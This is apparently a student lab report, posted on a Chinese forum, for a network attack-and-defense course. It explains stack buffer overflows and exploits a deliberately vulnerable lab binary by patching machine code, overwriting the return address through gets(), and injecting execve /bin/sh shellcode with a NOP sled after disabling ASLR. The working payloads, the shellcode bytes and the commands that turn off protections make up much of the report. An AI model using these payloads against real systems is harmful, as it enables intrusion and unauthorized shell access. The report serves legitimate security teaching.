找回密码
 立即注册
首页 业界区 安全 20232326 2025-2026-1 《网络与系统攻防技术》实验一实 ...

20232326 2025-2026-1 《网络与系统攻防技术》实验一实验报告

鞭氅 昨天 23:30
20232326 2025-2026-1 《网络与系统攻防技术》实验一实验报告

1. 实验内容

1.1 缓冲区溢出漏洞核心


  • 定义:程序向预设缓冲区写入数据时超出容量,溢出数据覆盖相邻内存(如函数返回地址、栈底指针ebp),最终篡改程序执行流程的内存安全漏洞。
  • 根源

    • 冯·诺依曼体系“数据与指令同存内存且未严格分离”的先天缺陷;
    • C/C++中strcpy、memcpy等函数无内存越界检查,且部分程序员安全编程意识薄弱。

1.2 理解漏洞的基础支撑知识


  • 汇编核心

    • 掌握IA32架构关键寄存器:esp(栈顶指针)、ebp(栈底指针)、eip(指令指针,指向下一条指令地址)、eax(累加器,存储函数返回值);
    • 核心指令:push/pop(栈操作)、call/ret(函数调用/返回)、jmp(跳转),区分Intel(Windows,如push eax)和AT&T(类Unix,如pushl %eax)两种指令格式。

  • 内存布局

    • Linux(32位):用户态占0~0xC0000000(含代码段.text、数据段.data/.bss、堆(向上生长)、栈(向下生长)),内核态占0xC0000000~0xFFFFFFFF;
    • Windows(32位):用户态占0~0x80000000(可执行程序从0x00400000开始),栈地址多含空字节,系统DLL(如kernel32.dll)映射在高地址区。

  • 函数栈帧机制

    • 调用阶段:参数从右到左压栈,再压入返回地址(eip值);
    • 函数序幕:push ebp(保存调用者栈底)→ mov esp, ebp(设置当前栈底)→ sub esp, N(分配局部变量空间);
    • 栈帧结构(高地址→低地址):调用者数据 → 函数参数 → 返回地址 → 保存的ebp → 局部变量。

1.3 缓冲区溢出类型与攻击要点


  • 主要类型

    • 栈溢出(最常见):栈中缓冲区(如字符数组)无边界保护,溢出数据覆盖ebp和返回地址,篡改eip指向恶意代码;
    • 堆溢出:覆盖堆块“块首”(8字节,存链表指针或状态),破坏堆表结构,free时实现任意地址写;
    • 内核溢出:溢出发生在内存内核态区域,直接影响系统内核,危害极高。

  • 攻击关键:需解决三个核心问题——

    • 定位“溢出点”:确定哪部分溢出数据能精准覆盖返回地址;
    • 确定“Shellcode地址”:让被篡改的返回地址指向恶意代码;
    • 编写可执行Shellcode:确保代码无空字节(避免被字符串函数截断)。

2. 实验过程

2.1 修改机器指令改变执行流程

操作目标:不依赖漏洞,直接篡改main函数的机器码,使程序启动后直接执行getShell。
步骤2:计算“call getShell”的偏移与机器码

目标:将偏移改为“getShell地址 - 下一条指令地址”:
  1. 新偏移 = 0804847d - 080484ba = -69
复制代码
十进制-69转换为32位十六进制补码:0xffffffc3,因此“call getShell”的机器码为e8 c3 ff ff ff。
步骤3:生成修改副本并编辑机器码

为避免破坏原始文件,复制生成含学号的副本pwn20232326zsm,并修改其机器码:
  1. # 复制原始文件为副本
  2. cp pwn1 pwn20232326zsm
  3. # 使用vi+xxd编辑副本(十六进制模式)
  4. vi pwn20232326zsm
  5. # 1. 切换为十六进制显示
  6. :%!xxd
  7. # 2. 搜索原机器码“e8d7”(call foo的操作码+偏移前两位)
  8. /e8d7
  9. # 3. 修改偏移:将“d7”改为“c3”(原机器码e8d7ffff → 新机器码e8c3ffff)
  10. # 4. 转回二进制格式
  11. :%!xxd -r
  12. # 5. 保存退出
  13. :wq
复制代码
1.png

这里遇到了文件权限不够的问题,修改pwn20232326zsm文件的的权限为777 最高权限
2.png

步骤4:验证修改结果
  1. # 反汇编副本,确认call指令是否指向getShell
  2. objdump -d pwn20232326zsm | grep -A 1 "call"
  3. # 运行副本,验证是否直接获取Shell
  4. ./pwn20232326zsm
复制代码
预期结果

  • 运行后直接出现#提示符(root Shell),输入ls可查看目录文件。
3.png

4.png

2.2 BOF攻击构造输入改变执行流

操作目标:利用foo函数的gets缓冲区溢出漏洞,通过构造输入覆盖返回地址,让程序执行getShell。
步骤1:分析foo函数的缓冲区与堆栈布局
  1. # 反汇编pwn20232326zsm-2,查看foo函数的栈帧分配
  2. objdump -d pwn20232326zsm-2 | grep -A 10 "foo"
复制代码
5.png

关键输出与堆栈分析
  1. 08048491 <foo>:
  2. 8048491:        55                           push   %ebp          # 保存ebp到栈
  3. 8048492:        89 e5                        mov    %esp,%ebp     # ebp = esp(栈帧基址)
  4. 8048494:        83 ec 38                     sub    $0x38,%esp    # 栈帧分配0x38(56字节)空间
  5. 8048497:        8d 45 e4                     lea    -0x1c(%ebp),%eax  # 缓冲区起始地址:ebp-0x1c(28字节)
  6. 804849d:        e8 8e fe ff ff               call   8048330 <gets@plt>  # 调用gets读取输入(无边界检查)
复制代码

  • 缓冲区大小:ebp-0x1c到ebp共28字节(输入超过此长度会溢出);
  • 覆盖返回地址需填充:缓冲区28字节 + ebp4字节 = 32字节填充,第33-36字节为返回地址(需改为getShell地址)。
步骤2:用GDB调试确认返回地址覆盖位置
  1. # 启动GDB调试原始文件
  2. gdb pwn20232326zsm-2
  3. # 运行程序
  4. (gdb) r
  5. # 输入测试字符串:32个填充字符(分4组便于定位)+ 4个标记字符(1234)
  6. 1111111122222222333333334444444412345678
  7. # 程序因溢出崩溃后,查看eip寄存器(指令指针,即返回地址)
  8. (gdb) info r eip
复制代码
预期结果:eip值为0x34333231(对应字符“4321”的ASCII码),证明第33-36字节(标记字符“1234”)成功覆盖返回地址。
6.png

步骤3:构造BOF攻击Payload
  1. # 生成攻击输入文件input_bof_20232326:
  2. # 32字节填充(A) + getShell地址(\x7d\x84\x04\x08) + 回车(\x0a,模拟手动回车)
  3. perl -e 'print "A"x32 . "\x7d\x84\x04\x08\x0a"' > input_bof_20232326
  4. # 验证Payload格式(查看末尾是否包含getShell地址)
  5. xxd input_bof_20232326
复制代码
预期结果:xxd输出末尾显示7d84 0408 0a,与getShell地址的小端序及回车符一致。
7.png

8.png

步骤4:触发BOF攻击
  1. # 通过管道将Payload输入原始文件,保持Shell交互(避免攻击后Shell退出)
  2. (cat input_bof_20232326; cat) | ./pwn20232326zsm-2
复制代码
预期结果:程序触发缓冲区溢出,返回地址被覆盖为getShell地址,执行后出现#提示符,输入ls可查看目录。
9.png

2.3 注入Shellcode并执行

操作目标:向程序注入自定义Shellcode,通过BOF攻击触发其执行,实现“不依赖程序自带getShell”的漏洞利用。
步骤1:关闭防御机制


  • 关闭系统防御:默认情况下,Linux堆栈不可执行且开启地址随机化(ASLR),需关闭以确保Shellcode可执行:
    1. # 1. 设置堆栈可执行(execstack -s 目标文件)
    2. execstack -s pwn20232326zsm-2
    3. # 验证设置:输出“X pwn20232326zsm-2”表示堆栈可执行
    4. execstack -q pwn20232326zsm-2
    5. # 2. 关闭ASLR(地址随机化,避免Shellcode地址变化)
    6. echo "0" > /proc/sys/kernel/randomize_va_space
    7. # 验证设置:输出“0”表示ASLR关闭
    8. more /proc/sys/kernel/randomize_va_space
    复制代码
    10.png

步骤2:调试获取Shellcode的滑行区地址

由于Shellcode需通过返回地址指向,需先确定其在堆栈中的位置(通过“滑行区”提高兼容性):

  • 生成临时Payload(含占位返回地址,用于定位):
    1. perl -e 'print "A"x32 . "\x01\x02\x03\x04" . "\x90"x10 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' > temp_input_20232326
    复制代码

    • \x01\x02\x03\x04:占位返回地址,便于GDB定位;
    • \x90:NOP空指令(滑行区),即使地址略有偏差,也能“滑”到Shellcode。


  • GDB调试定位

    • 终端1:启动攻击进程(阻塞等待调试):
      1. (cat temp_input_20232326; cat) | ./pwn20232326zsm-2
      复制代码
      12.png

    • 终端2:查找进程号并附加GDB:
      1. # 查找pwn20232326zsm-2的进程号
      2. ps -ef | grep pwn20232326zsm-2
      3. # 附加调试
      4. gdb
      5. (gdb) attach 3256
      6. # 反汇编foo函数,在ret指令处设断点(ret执行前,堆栈已加载Payload)
      7. (gdb) disassemble foo
      8. (gdb) break *0x080484ae  # ret指令地址
      9. (gdb) c  # 继续运行程序
      复制代码
      13.png

    • 这里遇到了不允许attach的错误,查询后使用下面的命令解决了
      1. ./pwn20232326zsm-2 & gdb -p 3256 $(pgrep pwn20232326zsm-2)
      复制代码
      14.png

    • 终端1:按回车触发断点,回到终端2查看堆栈:
      1. # 查看当前栈指针esp
      2. (gdb) info r esp
      3. # 查看esp附近16字节内存,找到占位地址0x01020304
      4. (gdb) x/16x $esp
      复制代码
    预期结果:占位地址0x01020304后方为NOP区域(0x90909090),记录NOP区域的起始地址(0xffffd2dc)作为滑行区地址。
    15.png

    16.png


步骤3:构造Shellcode注入Payload
  1. # 生成Shellcode输入文件input_shellcode_20232326:
  2. # 32字节填充(A) + 滑行区地址(\x20\xd3\xff\xff) + NOP滑行区(10个) + Shellcode
  3. perl -e 'print "A"x32 . "\x20\xd3\xff\xff" . "\x90"x10 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x0a"' > input_shellcode_20232326
复制代码
步骤4:触发Shellcode执行
  1. (cat input_shellcode_20232326; cat) | ./pwn20232326zsm-2
复制代码
预期结果:程序执行到返回地址时,跳转到NOP滑行区,最终执行Shellcode,弹出#提示符,输入ls可查看目录。
17.png

3. 问题及解决方案


  • 问题1:在修改 pwn20232326zsm 文件机器码时,遇到文件权限不够的情况,无法正常编辑该文件。
    解决方案:修改 pwn20232326zsm 文件的权限为最高权限777,使用命令 chmod 777 pwn20232326zsm,以便能够对文件进行编辑操作。
  • 问题2:在使用 gdb 调试附加进程时,出现不允许 attach 的错误,无法正常附加到目标进程 pwn20232326zsm-2 进行调试。
    解决方案:采用命令 ./pwn20232326zsm-2 & gdb -p 3256 $(pgrep pwn20232326zsm-2) 来解决,通过先让目标进程在后台运行,然后使用 gdb 结合进程号来正确附加并进行调试。
  • 问题3:默认情况下,Linux系统开启了诸如堆栈不可执行以及地址随机化(ASLR)等防御机制,这会影响Shellcode的执行,导致无法按预期利用漏洞。
    解决方案

    • 关闭堆栈不可执行:使用命令 execstack -s pwn20232326zsm-2 设置堆栈可执行,并通过 execstack -q pwn20232326zsm-2 验证设置,若输出“X pwn20232326zsm-2”则表示堆栈可执行。
    • 关闭地址随机化(ASLR):执行命令 echo "0" > /proc/sys/kernel/randomize_va_space 关闭 ASLR,再用 more /proc/sys/kernel/randomize_va_space 验证设置,输出“0”表示 ASLR 已成功关闭,以此确保Shellcode可执行以及其地址的稳定性,便于后续的漏洞利用操作。

4. 学习感悟与思考

在实验开始阶段,由于对反汇编分析和堆栈结构理解不足,操作过程较为生疏,需要通过反复调试和查阅资料询问AI来验证每个步骤。随着实验的深入,我逐步掌握了函数栈帧布局特征、返回地址定位方法、Shellcode构造技术等关键知识点,并能够独立完成从漏洞分析到利用的全过程。特别是在动态调试环节,通过GDB工具观察内存状态、设置断点跟踪执行流程,使我对程序运行时的内存管理机制有了更直观的认识。这种从理论到实践的转化过程,加深了我对计算机系统底层工作原理的理解。这次实验也让我意识到,网络攻防实验需要提前预习做好准备,希望通过后面的学习能逐步掌握网络攻防的核心技能。
参考资料


  • Gitee 逆向与Bof基础实验指南
  • 缓冲区溢出全解

来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
您需要登录后才可以回帖 登录 | 立即注册